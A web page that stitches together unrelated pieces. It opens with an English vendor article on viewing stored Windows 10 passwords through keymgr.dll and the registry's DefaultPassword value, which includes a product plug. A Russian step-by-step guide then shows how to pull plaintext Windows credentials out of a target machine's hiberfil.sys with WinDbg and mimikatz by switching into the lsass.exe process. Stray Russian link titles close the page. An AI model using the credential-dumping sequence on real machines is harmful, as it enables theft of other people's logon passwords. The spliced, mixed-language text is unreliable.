Step 2. Enter the command: rundll32.exe keymgr.dll,KRShowKeyMgr, and press enter.

cmd

Step 3. View the Stored Usernames and Passwords window.

Find Stored Passwords via Registry Editor

The Windows registry allows you to access your administrator passwords. However, an incorrect click can seriously damage your computer’s operating system. So please be careful while operating. The following is a detailed step-by-step guide:

Step 1. Open Windows Command Prompt and type regedit, and press Enter.

Step 2. Go to HKEY_ LOCAL_MACHINE > SOFTWARE > Microsoft > Windows NT > CurrentVersion > Winlogon when the registry editor window appears.

Step 3. Scroll down to DefaultPassword and double-click it.

default password

Note: There are some risks associated with this method. Tampering with the Windows registry may damage your operating system. If you are unfamiliar with this way, please choose a professional password manager.

Conclusion

On Windows 10 computers, passwords are usually stored in the registry, Windows vault, or credentials file. This article provides four ways to find stored passwords on Windows 10. Once you have lost or forgotten any specific password, you can easily retrieve it using this article’s methods. EaseUS Key Finder is a password management tool that you should not miss. If you like the method in this article, you can share it with more friends by clicking the button below.

FAQs About Stored Passwords on Windows 10

This section provides some additional topics related to how to find stored passwords on Windows 10. If you are interested, read on.

1. Can I find a stored WIFI password on Windows 10?

Yes, you can find the WiFi password. Open the Network and Sharing Center, and select your WiFi network name. In WiFi Status, select Wireless Properties, select the Security tab, and then check the Show characters checkbox. The WiFi network password is displayed in the Network Security Key box.

2. What to do if I forget my Windows 10 password?

If you forgot your password, you can reset it to log in to your account by

Step 1. On the Enter Password screen, select Reset Password to connect.

Step 2. Answer the security question.

Step 3. Enter a new password and log in with the new password.

3. How to find saved passwords via CMD?

All you need to do to retrieve your password using CMD is to familiarize yourself with the parameters for finding your password. Here are the simple steps:

Step 1. Open a command prompt window and type cmd.

Step 2. Enter the command: rundll32.exe keymgr.dll,KRShowKeyMgr, and press Enter.

Время на прочтение
2 мин

Количество просмотров 110K

Утилита mimikatz, позволяющая извлекать учётные данные Windows из LSA в открытом виде, существует с 2012 года, однако помимо хорошо освещённого функционала восстановления паролей из памяти работающей ОС у неё есть ещё одна довольно интересная возможность. Далее я приведу пошаговую инструкцию, как при помощи нехитрых действий извлечь учётные данные из файла hiberfil.sys.

Подготовка

Для осуществления задуманного нам понадобятся следующие утилиты:

  • Debugging Tools for Windows;
  • Windows Memory toolkit free edition;
  • И, собственно, сам mimikatz.

Действия

1. Получаем файл hiberfil.sys с целевой машины.2. Конвертируем файл в формат понятный WinDbg.

hibr2dmp.exe d:\temp\hiberfil.sys c:\temp\hiberfil.dmp

Процесс может занять довольно продолжительное время

image

3. Запускаем WinDbg и открываем полученный файл.

File -> Open Crash Dump

4. Настраиваем отладочные символы.

Открываем File -> Symbol File Path… и вписываем следующую строчку:

SRV*c:\symbols*http://msdl.microsoft.com/download/symbols

image

Вместо c:\symbols, естественно, может быть любой каталог, в который будут загружены символы

В командной строке дебаггера пишем:

0: kd> .reload /n

Ждём окончания загрузки символов:

image

5. Указываем путь к библиотеке mimilib.dll (находится в каталоге с mimikatz).

0: kd> .load z:\Soft\Security\Passwords\Mimikatz\x64\mimilib.dll

image

6. Находим адрес процесса lsass.exe.

0: kd> !process 0 0 lsass.exe

image

В данном случае адрес: fffffa800a7d9060.

7. Переключаем контекст процесса.

0: kd> .process /r /p fffffa800a7d9060

image

8. Запускаем mimikatz и получаем пароли в открытом виде.

0:kd> !mimikatz

image

Ссылки по теме

Раскрытие учетных данных в Microsoft Windows: http://www.securitylab.ru/vulnerability/420418.php
LSA Authentication: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378326(v=vs.85).aspx
What is Digest Authentication: https://technet.microsoft.com/en-us/library/cc778868(WS.10).aspx

  • Как вытащить лицензионный ключ windows 10 из биоса
  • Как вытащить код активации windows 10
  • Как вытащить корзину на рабочий стол windows 10
  • Как вытащить командную строку в windows 10
  • Как вытащить калькулятор на рабочий стол windows